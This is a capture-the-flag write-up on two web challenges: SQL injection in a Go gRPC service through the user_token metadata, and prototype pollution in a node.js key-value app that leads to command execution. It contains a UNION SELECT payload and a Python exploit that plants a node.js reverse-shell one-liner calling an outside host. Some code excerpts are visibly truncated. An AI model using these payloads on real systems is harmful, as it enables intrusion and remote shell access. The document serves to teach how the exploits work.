Challenge files can be found here.


Shou just learnt gRPC! Go play with his nasty API!

We're given source code for a gRPC service built in Golang. One function in particular looks interesting:

func (s *srvServer) GetLoginHistory(ctx context.Context, _ *pb.SrvRequest) (*pb.SrvReply, error) {
	md, _ := metadata.FromIncomingContext(ctx)
	if len(md["user_token"]) == 0 {
	    // no user token provided by upstream
		return &pb.SrvReply{
			Ip: nil,
		}, nil
	userToken := md["user_token"][0]
	var ul []UserLogs
	err := db.Table("user_logs AS ul").
		Where(fmt.Sprintf("ul.user_id = (SELECT id FROM users AS u WHERE u.token = '%s')", userToken)).
	if err != nil {
	// convert struct to an array
	var ips []string
	for _, v := range ul {
		ips = append(ips, v.Ip)
	return &pb.SrvReply{
		Ip: ips,
	}, nil

Where(fmt.Sprintf("ul.user_id = (SELECT id FROM users AS u WHERE u.token = '%s')", userToken)) definitely looks vulnerable to SQL injection, which we can confirm quickly with a client:

import grpc
import main_pb2
import main_pb2_grpc

CON_STR = ''

with grpc.insecure_channel(CON_STR) as channel:
    stub = main_pb2_grpc.SrvStub(channel)
    res = stub.GetLoginHistory(main_pb2.SrvRequest(), metadata=(('user_token', "')) UNION SELECT flag FROM flags-- "),))

which results in the following SQL query being executed:

SELECT ul.ip FROM `user_logs` AS `ul` WHERE (ul.user_id = (SELECT id FROM users AS u WHERE u.token = '')) UNION SELECT flag FROM flags-- '))
Note the extra bracket in the payload because .Where wraps it with another set of brackets


Shou, after successfully created all those Apps, starts to get ballsier and claims that every database should use HTTP to communicate with the client. Thus, he rewrites Redis in his favorite language Javascript and announces he created first KVaaS.

We're provided with a node.js app:

let utils = {
    verify_token: (user_token) => { return !!user_token },
    drop_all_if_oom: () => { if (JSON.stringify(db).length > 10000) db = {} }, // no vuln here, just to prevent db object from being too large
    // redis_host: ``,
    // redis_set: `redis-cli -h ${utils.redis_host} set `,
    // redis_get: `redis-cli -h ${utils.redis_host} get `,

let db = {};

app.get('/set', (req, res) => {
    utils.drop_all_if_oom(); // prevent db object from getting too big
    const { user_token, key, value } = req.query;
    if (!utils.verify_token(user_token) || !value) return res.send("UNAUTHORIZED"); // not a correct query
    if (!db[user_token]) db[user_token] = {}; // create the user's space if not exist in db object
    db[user_token][key] = value; // set the value to the [user_token].[key]
    res.json({ is_success: true })

app.put('/backup', (req, res) => {
    let db_stream = Buffer.from(JSON.stringify(db)); // prevent RCE!
    const cmd = utils.redis_set + `db ${db_stream.toString('base64')}`;
    exec(cmd, (err, _, __) => {
        if (err) {
            return res.json({ is_success: false });
        res.json({ is_success: true });
Relevant functions

This application allows us to use an object as a key-value store, where we can write data through the /set endpoint.

Quite a lot of time was wasted trying to figure out if it were possible to perform a command injection attack with the base64 character set (which I believe is impossible due to the lack of control characters). Obviously, undefineddb eyJhIjp7ImEiOlsiYiIsImMiXSwiYSxhIjpbImIiLCJjIl19fQ== is not a valid command.

We then realised that db[user_token][key] = value; allows us to write to any arbitrary property of db, including __proto__. This allows us to perform a prototype pollution attack.

JavaScript prototypes are "default objects" that objects inherit from. An example:

> const a = {}
> const b = {}
> = "bar";

We see that even though foo was never defined on b directly, still has the value bar because b inherited the value from the object prototype.

We can exploit this to write an arbitrary value into utils.redis_set by setting db["__proto__"]["redis_set"]. This value is then executed as a command when /backup is visited.

import sys
import requests

host = sys.argv[1]
# cmd = sys.argv[2]

rshell_host = ""
rshell_port = "8181"

cmd = """node -e '(function(){ var net = require("net"), cp = require("child_process"), sh = cp.spawn("/bin/sh", []); var client = new net.Socket(); client.connect(""" + rshell_port + """, \"""" + rshell_host + """\", function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/;})();'"""

r = requests.get(f'{host}/set', params={
    "user_token": "__proto__",
    "key": "redis_set",
    "value": cmd + ";#"


r = requests.put(f'{host}/backup')